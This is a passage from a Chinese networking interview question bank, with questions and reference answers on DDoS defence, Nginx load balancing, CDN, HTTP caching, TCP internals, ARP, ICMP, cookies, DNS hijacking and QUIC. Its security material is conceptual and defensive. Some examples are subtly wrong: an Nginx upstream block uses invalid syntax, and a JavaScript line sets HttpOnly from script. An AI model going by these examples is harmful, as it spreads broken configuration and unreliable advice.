流量型网络层(L3)海量流量拥塞带宽SYN Flood、UDP Flood、ICMP Flood
协议型传输层(L4)耗尽连接资源SYN Flood、连接耗尽
应用层应用层(L7)模拟正常请求消耗资源HTTP Flood、CC 攻击、慢速攻击

防御方案(多层防御):

  1. 网络层/传输层
    • 流量清洗:CDN/云防护(Cloudflare、AWS Shield、阿里云 DDoS 高防)在骨干网拦截
    • SYN Cookie:不在半连接队列分配资源,防范 SYN Flood
    • 限速 + 黑名单:iptables/防火墙限制单 IP 请求速率
    • BGP 黑洞:极端情况把攻击流量路由到 null
  2. 应用层
    • WAF(Web Application Firewall):识别异常请求模式
    • 验证码:人机识别,防机器流量
    • 限流降级:单 IP/单用户 QPS 限制,超限返回 429
    • 缓存 + 静态化:大量请求命中缓存,不穿透到应用
  3. 架构层
    • 弹性扩容:云服务器自动扩展扛住流量
    • 负载均衡:多台服务器分摊压力
    • 降级/熔断:非核心功能降级,保核心链路
    • Anycast DNS:将流量分散到多个节点

追问延伸

  • SYN Flood 攻击的原理和 SYN Cookie 防御?
  • CC 攻击和 DDoS 的区别?(CC 是应用层 DDoS 的一种)

Q28: Nginx 的负载均衡算法有哪些? 「🟡 中级」

考察点:Nginx 负载均衡的配置和理解。

参考答案

Nginx 负载均衡策略:

策略配置原理适用场景
轮询(默认)不指定按顺序逐一分配服务器性能相近
加权轮询weight=N按权重比例分配服务器性能不同
IP Haship_hash对客户端 IP Hash 取模固定分配需要 Session 粘性
最少连接least_conn分配给连接数最少的服务器长连接场景
一致性 Hashhash $key consistent对 Key Hash 映射到环上缓存代理
随机random随机选一个简单场景

配置示例:

nginx
upstream backend {
    # 加权轮询
    server 192.168.1.1:8080 weight=3;
    server 192.168.1.2:8080 weight=1;
    server 192.168.1.3:8080 weight=2;

    # ip_hash;        # 取消注释则启用 IP Hash
    # least_conn;     # 取消注释则启用最少连接

    # 健康检查(被动)
    max_fails=3 fail_timeout=30s;  # 30秒内失败3次则标记不可用
}

健康检查:

  • Nginx 开源版:被动检查(请求失败达到阈值后标记不可用)
  • Nginx Plus / 第三方模块:主动健康检查(定期探测)

Nginx 在七层模型中的位置:

  • 工作在应用层(L7),可以做基于 HTTP Header、URL 的负载均衡
  • 也可以做 L4(TCP/UDP)代理(stream 模块)

追问延伸

  • IP Hash 能完全替代 Session 共享吗?(不能,服务器增减时 Hash 重新分布)
  • Nginx 为什么用 epoll 能做到高性能?(事件驱动 + 单线程非阻塞 + 多进程)

Q29: 正向代理和反向代理的区别? 「🟡 中级」

考察点:代理方向的理解。

参考答案

维度正向代理反向代理
代理方向代理客户端代理服务端
客户端感知知道有代理不知道有代理
服务端感知以为请求来自代理知道有代理
用途翻墙、缓存、隐藏客户端 IP负载均衡、缓存、SSL 终端、隐藏服务端
典型工具Squid、Shadowsocks、V2RayNginx、HAProxy、CDN

正向代理场景:

  • 客户端无法直接访问目标服务器,通过代理转发
  • 例:公司内网通过代理上网;VPN 翻墙

反向代理场景:

  • 客户端访问代理服务器,代理转发到内部服务集群
  • 例:Nginx 反向代理后端 API 服务;CDN 节点反向代理源站

CDN 本质是反向代理 + 就近接入 + 缓存。

追问延伸

  • Nginx 既能做正向代理也能做反向代理吗?(主要做反向代理,正向代理需额外配置/模块)
  • 负载均衡和反向代理的关系?(反向代理是实现负载均衡的方式之一)

Q30: CDN 的原理是什么? 「🟡 中级」

考察点:CDN 加速的核心机制。

参考答案

CDN(Content Delivery Network,内容分发网络):通过在全球部署边缘节点,让用户就近获取内容,降低延迟、减轻源站压力。

CDN 工作流程:

  1. 用户访问 www.example.com → DNS 解析
  2. 智能 DNS:根据用户 IP 地理位置,返回最近的 CDN 边缘节点 IP
  3. 用户向 CDN 节点请求资源
  4. CDN 节点检查缓存:
    • 缓存命中:直接返回缓存内容
    • 缓存未命中:CDN 向源站回源获取内容 → 缓存 → 返回给用户

CDN 加速的内容类型:

  • 静态内容:图片、CSS、JS、视频 → 命中率高,加速效果最好
  • 动态内容:API 请求 → 通过就近接入 + 链路优化(动态加速)减少网络延迟

CDN 缓存策略:

  • 大文件(图片/视频):按 Hash 分片缓存,预热推送
  • 小文件(CSS/JS):通过版本号/Hash 实现缓存更新(app.v2.3.1.js
  • HTML:短 TTL 或不缓存(避免更新不及时)

CDN 的收益:

  • 降低 RTT(就近节点)
  • 减轻源站带宽压力
  • 抗 DDoS(流量分散到 CDN 节点)
  • 提高可用性(单节点故障自动切换)

追问延伸

  • CDN 怎么做缓存更新?(主动推送 + TTL 过期 + 版本号)
  • 直播的 CDN 和普通 CDN 有什么区别?(低延迟优化 + 流媒体协议 HLS/RTMP/WebRTC)

Q31: 浏览器缓存机制是什么?强缓存和协商缓存的区别? 「🟡 中级」

考察点:HTTP 缓存机制的深入理解。

参考答案

浏览器缓存流程:

  1. 强缓存:不发请求,直接用本地缓存(状态码 200,from disk cache / from memory cache
  2. 协商缓存:发请求询问服务器资源是否修改 → 未修改返回 304 → 用本地缓存
  3. 都不命中 → 发请求获取完整资源

强缓存相关 Header:

Header说明
Cache-Control: max-age=3600缓存有效期 3600 秒(HTTP/1.1,优先级高)
Cache-Control: no-cache强制每次都走协商缓存
Cache-Control: no-store完全不缓存
Cache-Control: public/private是否允许中间代理缓存
Expires: Wed, 21 Oct 2025 07:28:00 GMT绝对过期时间(HTTP/1.0,受本地时间影响)

协商缓存相关 Header:

优先级请求 Header响应 Header说明
If-None-Match: "abc123"ETag: "abc123"资源内容的 Hash,精确
If-Modified-Since: Wed, ...Last-Modified: Wed, ...资源最后修改时间

缓存决策流程图:

请求资源
  ├─ 有缓存?
  │   ├─ 否 → 发请求获取
  │   └─ 是 → Cache-Control/Expires 是否过期?
  │       ├─ 没过期 → 强缓存命中(200 from cache)
  │       └─ 过期 → 发协商缓存请求
  │           ├─ ETag 匹配?→ 304 Not Modified → 用缓存
  │           ├─ Last-Modified 匹配?→ 304 → 用缓存
  │           └─ 不匹配 → 200 + 新资源 + 新缓存标识

ETag vs Last-Modified:

  • Last-Modified 精度到秒,1秒内多次修改无法感知
  • ETag 是内容 Hash,更精确,但服务端计算有开销
  • 文件内容没变但修改时间变了(如重新部署)→ Last-Modified 会误判,ETag 不会

追问延伸

  • no-cacheno-store 的区别?
  • 怎么让用户立刻看到更新后的 CSS/JS?(文件名加 Hash/版本号 + HTML 不缓存)

Q32: TCP 滑动窗口和流量控制是怎样的? 「🟡 中级」

考察点:TCP 流量控制机制的理解。

参考答案

滑动窗口:TCP 发送方维持一个窗口,窗口内的数据可以连续发送而不必等待确认,提高传输效率。

滑动窗口四个关键指针:

发送窗口
|←─── 已确认 ───→|←── 未确认但已发送 →|←── 未发送但可发 →|←── 不可发 →|
                  ^                     ^
                  已发送未确认            可发送未发送
  • 窗口左沿 = 已确认的最大序号 + 1
  • 窗口右沿 = 窗口左沿 + 窗口大小 - 1
  • 收到 ACK 后窗口左沿右移(窗口滑动)
  • 窗口大小由接收方通过 ACK 报文中的窗口字段通告

流量控制:接收方通过通告窗口大小控制发送方速率,防止接收方被淹没。

  • 接收方缓冲区快满 → 通告小窗口 → 发送方降速
  • 接收方缓冲区空 → 通告大窗口 → 发送方提速
  • 极端情况:通告窗口=0(Zero Window)→ 发送方停止发送,定期发窗口探测报文确认窗口是否恢复

糊涂窗口综合征(Silly Window Syndrome):

  • 接收方缓冲区只有很少空间就通告小窗口 → 发送方发小包 → 效率低
  • 解决:Nagle 算法(发送方:小包攒够了再发)+ Clark 算法(接收方:窗口太小就不通告)

发送窗口 = min(接收窗口 rwnd, 拥塞窗口 cwnd):

  • rwnd:接收方告诉发送方"我能收多少"(流量控制)
  • cwnd:发送方自己感知网络能承受多少(拥塞控制)

追问延伸

  • Nagle 算法和延迟 ACK 有什么冲突?
  • 窗口为 0 后发送方怎么知道什么时候可以继续发?

Q33: ARP 协议的作用和原理是什么? 「🟢 校招/初级」

考察点:数据链路层地址解析的基础。

参考答案

ARP(Address Resolution Protocol,地址解析协议):将 IP 地址解析为 MAC 地址。

为什么需要 ARP:

  • 网络层用 IP 地址(逻辑地址),数据链路层用 MAC 地址(物理地址)
  • 局域网内通信需要知道目标 MAC 地址才能封装以太网帧
  • ARP 完成 IP → MAC 的映射

ARP 工作流程:

  1. 主机 A 要给同一子网的主机 B(IP: 192.168.1.5)发包
  2. A 查 ARP 缓存表 → 没找到 B 的 MAC
  3. A 广播 ARP 请求:"谁是 192.168.1.5?请把你的 MAC 告诉 192.168.1.1"
  4. 局域网所有主机收到请求 → B 匹配自己的 IP → 单播回复 ARP 响应:"192.168.1.5 的 MAC 是 aa:bb:cc:dd:ee:ff"
  5. A 缓存 B 的 IP-MAC 映射(ARP 表),有效期通常 20 分钟

ARP 缓存表(arp -a 查看):

192.168.1.5    aa-bb-cc-dd-ee-ff    动态
192.168.1.1    00-11-22-33-44-55    动态

跨网段通信:

  • A 要发给不同子网的 C → 先找网关的 MAC
  • A 发 ARP 请求找网关 IP 的 MAC → 网关回复 → A 把数据包发给网关 MAC
  • 网关逐跳转发,每一跳都做 ARP

ARP 欺骗(安全风险):

  • 攻击者伪造 ARP 响应,把自己的 MAC 和网关 IP 关联
  • 其他主机把流量发给攻击者 → 中间人攻击
  • 防御:静态 ARP 绑定、DHCP Snooping、ARP 检测

追问延伸

  • ARP 请求是广播还是单播?ARP 响应呢?(请求广播,响应单播)
  • ARP 和 DNS 有什么相似之处?(都是地址映射,ARP 是 IP→MAC,DNS 是域名→IP)

Q34: Socket 编程模型是什么?TCP 和 UDP 的 Socket 有什么区别? 「🟡 中级」

考察点:网络编程的实践理解。

参考答案

Socket 是对 TCP/UDP 协议的封装,提供应用编程接口(API),让开发者不用关心协议细节。

TCP Socket 编程流程(C/S 模型):

服务端                          客户端
socket()   → 创建socket          socket()   → 创建socket
  │                               │
bind()     → 绑定IP+端口          │
  │                               │
listen()   → 监听连接              │
  │                               │
accept()   ← 等待连接 ← connect()  │
  │          (三次握手)            │
  │                               │
recv()  ← 数据 ← send()           │
send() → 数据 → recv()           │
  │                               │
close() → 关闭 ← close()         │
           (四次挥手)

关键 API:

  • socket(domain, type, protocol):创建 socket
  • bind(fd, addr, len):绑定地址
  • listen(fd, backlog):开始监听,backlog 为等待队列长度
  • accept(fd, ...):阻塞等待新连接,返回新 socket fd
  • connect(fd, addr, ...):主动连接服务端
  • send()/recv()read()/write():数据收发
  • close(fd):关闭连接

UDP Socket 编程流程(更简单):

服务端                          客户端
socket()   → 创建socket          socket()   → 创建socket
  │                               │
bind()     → 绑定IP+端口          │
  │                               │
recvfrom() ← 等待数据 ← sendto()  │
sendto()   → 回复数据 → recvfrom()│
  │                               │
close()                        close()

区别:

  • TCP 有 listen/accept/connect,UDP 没有(无连接)
  • TCP 用 send/recv(面向连接),UDP 用 sendto/recvfrom(指定地址)
  • TCP socket fd 对应一个连接,UDP socket fd 可以收发多个对端

Java 中的 Socket:

java
// TCP Server
ServerSocket server = new ServerSocket(8080);
Socket client = server.accept(); // 阻塞等待
InputStream in = client.getInputStream();
OutputStream out = client.getOutputStream();

// TCP Client
Socket socket = new Socket("127.0.0.1", 8080);

// UDP
DatagramSocket socket = new DatagramSocket(8080);
DatagramPacket packet = new DatagramPacket(buf, buf.length);
socket.receive(packet); // 阻塞等待

追问延伸

  • accept 返回的 socket 和 listen 的 socket 有什么区别?(listen 的只管接连接,新 socket 独立收发数据)
  • IO 多路复用怎么和 Socket 配合?(epoll 监听多个 socket fd 的事件)

Q35: ICMP 协议的作用是什么?ping 和 traceroute 的原理? 「🟢 校招/初级」

考察点:网络层辅助协议的理解。

参考答案

ICMP(Internet Control Message Protocol,互联网控制报文协议):用于在 IP 主机、路由器之间传递控制消息和差错报告。

ICMP 不是传输数据的协议,而是网络层的辅助协议,帮助诊断网络问题。

ICMP 主要功能:

类型消息用途
0/8Echo Reply/Requestping 的基础
3Destination Unreachable目标不可达(路由器找不到路径)
5Redirect路由重定向(告诉主机有更优路由)
11Time ExceededTTL 超时(traceroute 的基础)
12Parameter ProblemIP 首部参数错误

ping 原理

  1. 发送 ICMP Echo Request(Type=8)到目标
  2. 目标收到后回复 ICMP Echo Reply(Type=0)
  3. 计算往返时间(RTT)
  4. 可测连通性、延迟、丢包率

traceroute 原理(利用 TTL 超时):

  1. 发送 TTL=1 的 IP 包 → 第一跳路由器收到后 TTL 减为 0 → 丢弃并返回 ICMP Time Exceeded
  2. 发送 TTL=2 的包 → 第二跳路由器返回 Time Exceeded
  3. 逐跳递增 TTL → 每跳返回 ICMP → 记录路径上每台路由器的 IP
  4. 到达目标后目标返回 Echo Reply → 结束
$ ping 8.8.8.8
PING 8.8.8.8: 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=117 time=12.3 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=11.8 ms

$ traceroute 8.8.8.8
1  192.168.1.1  1.2 ms   ← TTL=1, 第一跳(网关)
2  10.0.0.1     5.3 ms   ← TTL=2, 第二跳
3  ...                   ← 逐跳探测

注意:ICMP 使用 IP 协议传输,但不属于传输层,工作在网络层。

追问延伸

  • 为什么有些服务器 ping 不通但 HTTP 能访问?(防火墙过滤了 ICMP,但允许 TCP 80/443)
  • ICMP 属于哪一层?(网络层,和 IP 同层)

考察点:HTTP 无状态特性的理解。

参考答案

HTTP 是无状态的:每个请求独立,服务器不会记录前一次请求的状态。好处是简单、可扩展;缺点是需要额外机制维持状态。

状态维持方案

方案原理优点缺点
Cookie服务器返回 Set-Cookie,浏览器存储后自动携带简单、自动安全性低、大小限制 4KB
Session服务器存储会话,Cookie 只存 SessionID安全、灵活占用服务器内存、集群困难
Token (JWT)客户端存储 Token,请求时携带无状态、适合集群无法主动失效、大小较大
http
// Cookie 方案
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

// 后续请求自动携带
GET /profile HTTP/1.1
Cookie: sessionid=abc123
http
// Token 方案
GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMTAwMSJ9.xxx

追问延伸

  • 为什么说 Cookie 让 HTTP 变成"有状态"了?(Cookie 机制是 HTTP 扩展,不是协议本身的一部分)
  • Token 为什么更适合微服务架构?(无状态、不需要共享 Session 存储)

考察点:Session 维持机制的灵活理解。

参考答案

可以,Cookie 只是 SessionID 的传输方式之一。禁用 Cookie 后可以改用 URL 参数或隐藏表单字段:

html
<!-- 方式1:URL 重写 -->
<a href="/profile;jsessionid=abc123">Profile</a>

<!-- 方式2:隐藏表单字段 -->
<form action="/login" method="post">
    <input type="hidden" name="jsessionid" value="abc123">
    <input type="text" name="username">
</form>

<!-- 方式3:Token 方案(推荐) -->
<!-- 不依赖 Cookie,用 Authorization 头 -->
GET /api/profile
Authorization: Bearer <token>
方式优点缺点
Cookie自动、安全可被禁用
URL 重写不依赖 CookieURL 暴露 SessionID、安全风险
隐藏字段不依赖 Cookie仅限 POST 请求
Token不依赖 Cookie、跨域需要手动管理 Token

现代方案:用 Token(JWT)替代 Session + Cookie,彻底避免 Cookie 禁用问题。

追问延伸

  • URL 中的 SessionID 有什么安全风险?(可能被 Referer 泄露、被日志记录)
  • SameSite Cookie 属性有什么用?(限制跨站 Cookie 发送,防 CSRF)

考察点:前端存储方案的选型。

参考答案

维度CookielocalStoragesessionStorageIndexedDB
大小4KB5~10MB5~10MB大容量
生命周期可设过期时间永久关闭标签即失效永久
是否自动发送是(每次 HTTP 请求)
APIdocument.cookielocalStoragesessionStorage异步 API
服务端可读
适用场景鉴权 Token、跟踪本地缓存临时数据离线存储
javascript
// Cookie:适合少量需要服务端读取的数据
document.cookie = "token=abc123; Secure; HttpOnly; SameSite=Strict"

// localStorage:适合大量本地数据
localStorage.setItem('user', JSON.stringify({name: 'Alice', theme: 'dark'}))
const user = JSON.parse(localStorage.getItem('user'))

// sessionStorage:适合会话级临时数据
sessionStorage.setItem('draft', '编辑中的内容...')

数据存放原则

  • 鉴权信息 → Cookie(HttpOnly + Secure)或 Token in localStorage
  • 用户偏好(主题/语言)→ localStorage | 表单临时数据 → sessionStorage
  • 大文件/离线数据 → IndexedDB

安全注意事项

  • 不要在 localStorage 存敏感信息(XSS 可窃取)
  • Cookie 设 HttpOnly 防 XSS、SameSite 防 CSRF
  • Token 存在 localStorage 时注意 XSS 防护

追问延伸

  • Cookie 的 HttpOnly 是什么意思?(JS 不能读取该 Cookie,防 XSS)
  • localStorage 存 Token 有什么风险?(XSS 攻击可读取 Token)

Q39: DNS 底层使用 TCP 还是 UDP?DNS 劫持是什么? 「🟡 中级」

考察点:DNS 协议细节和安全。

参考答案

DNS 同时使用 TCP 和 UDP

场景协议原因
普通查询UDP(53 端口)查询小、要求快、UDP 无连接开销
响应超过 512 字节TCPUDP 报文有大小限制,大响应用 TCP
区域传送(主从同步)TCP数据量大、需要可靠传输

DNS 劫持

  • DNS 查询被拦截/篡改,返回错误的 IP 地址
  • 用户访问 bank.com 被解析到攻击者的服务器
正常:用户 → DNS 查询 bank.com → 返回 1.2.3.4(真实银行 IP)
劫持:用户 → DNS 查询 bank.com → 返回 5.6.7.8(攻击者 IP)

DNS 劫持的防御

  1. DNSSEC(DNS Security Extensions):对 DNS 响应做数字签名,验证真实性
  2. DNS over HTTPS / DNS over TLS:加密 DNS 查询,防止中间人篡改
  3. HTTPDNS:绕过传统 DNS,直接通过 HTTP 获取解析结果(阿里/腾讯方案)
  4. 客户端绑定域名 IP(如 host 文件)

追问延伸

  • DoH(DNS over HTTPS)和传统 DNS 有什么区别?(加密传输,防止 ISP/中间人篡改)
  • 为什么 DNS 用 UDP 而不用 TCP?(查询小、低延迟、无连接开销)

Q40: 怎么用 UDP 实现 HTTP?QUIC 协议了解吗? 「🔴 高级」

考察点:HTTP/3 和 QUIC 的理解。

参考答案

HTTP/3 基于 QUIC 协议,QUIC 基于 UDP

HTTP/1.1: HTTP → TCP → IP
HTTP/2:   HTTP → TCP → IP
HTTP/3:   HTTP → QUIC → UDP → IP

为什么不用 TCP 了

  • TCP 队头阻塞:一个包丢失,后续所有流被阻塞
  • TCP 握手慢:TCP 三次握手 + TLS 握手 = 3~4 RTT
  • TCP 是内核实现的,升级困难

QUIC 的优势

特性说明
多路复用无队头阻塞每个流独立,一个流丢包不影响其他流
快速握手1 RTT(首次)或 0 RTT(重连)
连接迁移基于 Connection ID,切换网络(WiFi→4G)不断连接
前向纠错丢包恢复不需要重传等待
内置 TLS 1.3加密是协议的一部分

QUIC 在 UDP 上实现可靠传输

  • 在 UDP 之上实现类似 TCP 的可靠性(ACK、重传、拥塞控制)
  • 但在应用层实现,更灵活、可快速迭代
TCP: 内核实现,升级需要 OS 更新
QUIC: 应用层实现,部署更新只需升级服务端/客户端软件

追问延伸

  • HTTP/2 的队头阻塞和 HTTP/3 有什么不同?(HTTP/2 是 TCP 层的队头阻塞,HTTP/3 解决了)
  • QUIC 如何实现 0-RTT?(利用之前连接的密钥,首个请求携带数据)

Q41: TCP 连接建立后,什么情况下会中断? 「🟡 中级」

考察点:TCP 连接管理的全面理解。

参考答案

TCP 连接中断的场景:

1. 正常关闭(四次挥手)

  • 任意一方发 FIN → 正常关闭

2. 异常断开

场景原因现象
进程崩溃进程退出 → OS 发 FIN/RST对端收到 RST
网络断开网线拔了/路由器宕机无响应 → TCP 保活超时后关闭
防火墙/NAT 超时NAT 表项超时(默认 5 分钟)连接被 NAT 设备丢弃
服务器过载资源耗尽 → 主动断开客户端收到 RST

3. TCP 保活机制(Keep-Alive)

bash
# Linux TCP keepalive 参数
net.ipv4.tcp_keepalive_time = 7200   # 空闲 7200 秒后发探测包
net.ipv4.tcp_keepalive_intvl = 75    # 每 75 秒发一次
net.ipv4.tcp_keepalive_probes = 9    # 最多探测 9 次
# 总计:7200 + 75×9 = 7875 秒(约 2 小时 11 分)后才断开

4. 应用层心跳

  • TCP Keep-Alive 时间太长,应用层通常自己实现心跳
  • 如 Netty 的 IdleStateHandler、WebSocket 的 Ping/Pong
java
// Netty 心跳示例
new IdleStateHandler(30, 0, 0, TimeUnit.SECONDS)  // 30秒无读 → 心跳
// 客户端发 Ping → 服务端回 Pong
// 超时无响应 → 关闭连接

5. RST 复位

  • 访问不存在的端口 → RST
  • 请求超时被服务端拒绝 → RST
  • SO_LINGER 设置为 0 → close 时直接发 RST

追问延伸

  • TCP 连接"假死"怎么检测?(应用层心跳比 TCP Keep-Alive 更可靠)
  • RST 和 FIN 的区别?(RST 是异常关闭,FIN 是正常关闭)

Q42: 四次挥手能变成三次吗?TCP 延迟确认是什么? 「🟡 中级」

考察点:TCP 挥手优化的理解。

参考答案

四次挥手可以变成三次,当被动关闭方没有待发送的数据时:

正常四次挥手:
A → FIN → B        (A 请求关闭)
B → ACK → A        (B 确认收到)
B → FIN → A        (B 数据发完,请求关闭)
A → ACK → B        (A 确认收到)

三次挥手(B 无待发数据时):
A → FIN → B        (A 请求关闭)
B → ACK + FIN → A  (B 确认收到 + 同时请求关闭,合并)
A → ACK → B        (A 确认收到)

合并的条件:被动关闭方收到 FIN 时,恰好没有待发送的数据(发送缓冲区为空),可以把 ACK 和 FIN 合并为一个报文。

TCP 延迟确认(Delayed ACK)

  • 接收方收到数据后不立即回 ACK,等一小段时间(通常 40~200ms)
  • 如果在这段时间内有数据要发,ACK 随数据一起发送(捎带确认)
  • 如果没有数据要发,超时后单独发 ACK
bash
# Linux 延迟 ACK 参数
net.ipv4.tcp_delack_min = 1     # 最小延迟确认时间(ms)
# TCP_QUICKACK 选项可以禁用延迟确认

延迟确认和四次挥手的关系

  • 被动关闭方收到 FIN 后先回 ACK(延迟确认可能延迟这个 ACK)
  • 如果在延迟时间内没有数据要发,ACK 和 FIN 分开发送 → 四次挥手
  • 如果有数据要发,可以捎带 ACK,之后单独发 FIN → 仍然是四次
  • 特殊情况:延迟 ACK 超时前刚好发完所有数据 → ACK + FIN 合并 → 三次挥手

追问延伸

  • 延迟确认有什么好处?(减少纯 ACK 报文,节省带宽)
  • 延迟确认有什么副作用?(增加延迟,可能导致 Nagle 算法和延迟确认互相等待)

Q43: SYN 队列和 Accept 队列是什么?半连接和全连接有什么区别? 「🔴 高级」

考察点:TCP 连接队列的底层理解。

参考答案

两个队列

                     SYN Queue              Accept Queue
                    (半连接队列)            (全连接队列)
客户端 SYN →         [SYN_RCVD]               [ESTABLISHED]
              ↓                              ↓
           服务端回 SYN+ACK               accept() 取出
              ↓                              ↓
客户端 ACK →    移到 Accept Queue          返回 Socket FD
队列状态含义
SYN QueueSYN_RCVD收到 SYN,等待第三次 ACK
Accept QueueESTABLISHED连接已建立,等待 accept()

队列大小

bash
# 半连接队列大小
net.ipv4.tcp_max_syn_backlog = 8192

# 全连接队列大小 = min(somaxconn, backlog)
net.core.somaxconn = 4096
# listen(fd, backlog) 中的 backlog

# 查看
ss -lnt  # Recv-Q = 全连接队列当前长度, Send-Q = 全连接队列最大值

队列满了会怎样

队列满了的行为配置
SYN Queue默认丢弃 SYN(客户端重试)tcp_syncookies 开启后用 SYN Cookie
Accept Queue默认丢弃 ACK(客户端重发)tcp_abort_on_overflow=1 时回 RST

SYN Flood 攻击

  • 攻击者发大量 SYN,但不回 ACK → 半连接队列满 → 正常连接无法建立
  • 防御:SYN Cookie(不分配半连接资源,在 SYN+ACK 中编码连接信息)

实际排查

bash
# 查看连接队列状态
netstat -s | grep -i "listen"
# "overflowed" = 全连接队列溢出次数
# "dropped" = 半连接队列丢弃次数

# 查看 accept queue
ss -lnt
# Recv-Q > 0 说明有连接堆积

追问延伸

  • SYN Cookie 怎么工作的?(用 ISN 编码源 IP/端口/MSS,不保存半连接状态)
  • accept() 什么时候返回?(全连接队列非空时返回,否则阻塞或 EAGAIN)

Q44: HTTP/2 的多路复用解决了什么问题?还有什么队头阻塞? 「🟡 中级」

考察点:HTTP/2 核心特性的理解。

参考答案

HTTP/1.1 的问题

  • 管道化(Pipelining)不实用:响应必须按请求顺序返回(HTTP 层队头阻塞)
  • 浏览器限制每个域名最多 6 个并发连接
  • 头部冗余:每次请求携带完整头部(Cookie、User-Agent 等)

HTTP/2 的多路复用

  • 一个 TCP 连接上并行多个请求/响应(Stream)
  • 每个请求/响应是一个 Stream,带唯一 Stream ID
  • 帧可以交错传输(请求 A 的帧和请求 B 的帧可以交替)
HTTP/1.1:6 个连接 × 串行
[Conn1: Req1 → Resp1][Req2 → Resp2]...
[Conn2: Req7 → Resp7]...

HTTP/2:1 个连接 × 并行
[Conn: Stream1(frame) | Stream3(frame) | Stream1(frame) | Stream5(frame)]

HTTP/2 的其他特性

  • 头部压缩:HPACK 算法,用索引表压缩重复头部
  • 服务端推送:服务端可主动推送资源(CSS/JS)
  • 二进制帧:二进制格式,解析比文本高效

HTTP/2 残留的队头阻塞

  • HTTP/2 解决了 HTTP 层 的队头阻塞
  • TCP 层 仍有队头阻塞:一个 TCP 包丢失,所有 Stream 的数据被阻塞
  • 这就是 HTTP/3 用 QUIC(UDP)的原因
版本队头阻塞
HTTP/1.1HTTP 层 + TCP 层
HTTP/2TCP 层(HTTP 层已解决)
HTTP/3无(QUIC 每个 Stream 独立)

追问延伸

  • HTTP/2 的服务端推送为什么实际用得少?(缓存管理复杂、推送的资源可能已在客户端缓存)
  • HPACK 怎么压缩头部?(静态表 + 动态表 + Huffman 编码)

考察点:Cookie 安全属性的全面理解。

参考答案

Cookie 的完整属性

属性作用示例
Name=ValueCookie 键值对token=abc123
Domain生效域名Domain=.example.com
Path生效路径Path=/api
Expires/Max-Age过期时间Max-Age=3600
Secure仅 HTTPS 传输Secure
HttpOnlyJS 不可读HttpOnly
SameSite跨站策略SameSite=Strict

SameSite 属性(防 CSRF 的关键):

行为适用场景
Strict完全不发送跨站 Cookie银行、支付
Lax(默认)导航请求发送,其他不发送一般网站(Chrome 默认值)
None跨站都发送(需配合 Secure)第三方 Cookie(广告、嵌入)
http
// 防御 CSRF
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// 第三方服务(如嵌入视频)
Set-Cookie: tracking=xyz; SameSite=None; Secure

SameSite=Lax 的具体行为

  • 跨站 GET 导航(点击链接跳转)→ 发送 Cookie
  • 跨站 POST/PUT → 不发送 Cookie
  • 跨站 AJAX/Fetch → 不发送 Cookie
  • <img>/<iframe> 请求 → 不发送 Cookie

安全最佳实践

Set-Cookie: token=xxx;
  HttpOnly;      // 防 XSS 读取
  Secure;        // 仅 HTTPS
  SameSite=Lax;  // 防 CSRF(默认)
  Max-Age=3600;  // 1小时过期
  Path=/;        // 全站有效

追问延伸

  • 为什么 Chrome 把默认值改成了 SameSite=Lax?(减少 CSRF 风险和用户追踪)
  • SameSite=None 为什么要配合 Secure?(Chrome 要求 SameSite=None 必须配合 Secure)

Q46: 服务器能启动但客户端请求不到,有哪些原因?如何排查? 「🟡 中级」

考察点:网络故障排查能力。

参考答案

排查思路:从近到远,逐层排除

应用层 → 传输层 → 网络层 → 物理层
 应用     端口     IP/路由    网络

1. 应用是否真的启动了?

bash
# 检查进程
ps aux | grep myapp
# 检查端口
netstat -tlnp | grep 8080
ss -tlnp | grep 8080
# 如果没有端口 → 应用未启动或绑定失败

2. 本地能否访问?

bash
# 本地 curl
curl http://localhost:8080
# 如果本地不通 → 应用内部问题(路由/异常/中间件)
# 如果本地通但外部不通 → 网络问题

3. 防火墙是否放行?

bash
# iptables 防火墙
iptables -L -n | grep 8080
# firewalld
firewall-cmd --list-ports
# 放行端口
firewall-cmd --add-port=8080/tcp --permanent
firewall-cmd --reload

4. 是否绑定了 127.0.0.1 而非 0.0.0.0?

bash
# 只绑定了 localhost → 外部无法访问
netstat -tlnp | grep 8080
# 127.0.0.1:8080 → 只能本地访问
# 0.0.0.0:8080 → 可以外部访问

5. 网络是否可达?

bash
# ping 测试网络连通
ping <server_ip>
# telnet/nc 测试端口
telnet <server_ip> 8080
nc -zv <server_ip> 8080
# tracert 路由跟踪
tracert <server_ip>

6. 云服务器安全组

  • 阿里云/腾讯云/AWS 安全组规则
  • 入站规则是否放行对应端口

常见原因汇总

原因检查方法
应用未启动ps aux / netstat -tlnp
绑定 127.0.0.1netstat -tlnp
防火墙未放行iptables -L / firewall-cmd --list
安全组未配置云控制台检查
端口冲突netstat 检查
SELinux 限制getenforce
DNS 解析错误nslookup / dig

追问延伸

  • ping 通但端口连不上是什么原因?(防火墙、应用未启动、端口错误)
  • telnet 和 nc 有什么区别?(telnet 是 TCP,nc 支持 TCP/UDP,nc 更灵活)

Q47: 服务器 ping 不通但 HTTP 能请求成功,什么原因? 「🟡 中级」

考察点:ICMP 与 TCP 的区别和防火墙理解。

参考答案

这种情况完全可能发生,因为 ping 和 HTTP 使用不同协议:

ping: 使用 ICMP 协议(网络层)
HTTP: 使用 TCP 协议(传输层)→ 端口 80/443

原因:防火墙策略不同

协议防火墙规则结果
ICMP被防火墙丢弃ping 不通
TCP 80/443被防火墙放行HTTP 正常

常见场景

  1. 服务器安全策略:禁止 ICMP(防探测),放行 HTTP 端口
  2. 云安全组:入站规则只放行 TCP 80/443,不放行 ICMP
  3. iptables 规则
bash
# 禁止 ICMP
iptables -A INPUT -p icmp -j DROP
# 放行 HTTP
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
  1. 中间网络设备:路由器/防火墙过滤 ICMP 但允许 TCP

安全考量

  • 禁止 ping 是安全加固的常见做法(防止主机发现/扫描)
  • 但不影响正常 HTTP 服务
  • 某些监控工具依赖 ping 检测存活,需要额外放行 ICMP 或改用 TCP 检测

排查方法

bash
# 检查防火墙 ICMP 规则
iptables -L -n | grep icmp
# 检查 ICMP 内核参数
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
# 0 = 允许 ping
# 1 = 禁止 ping

追问延伸

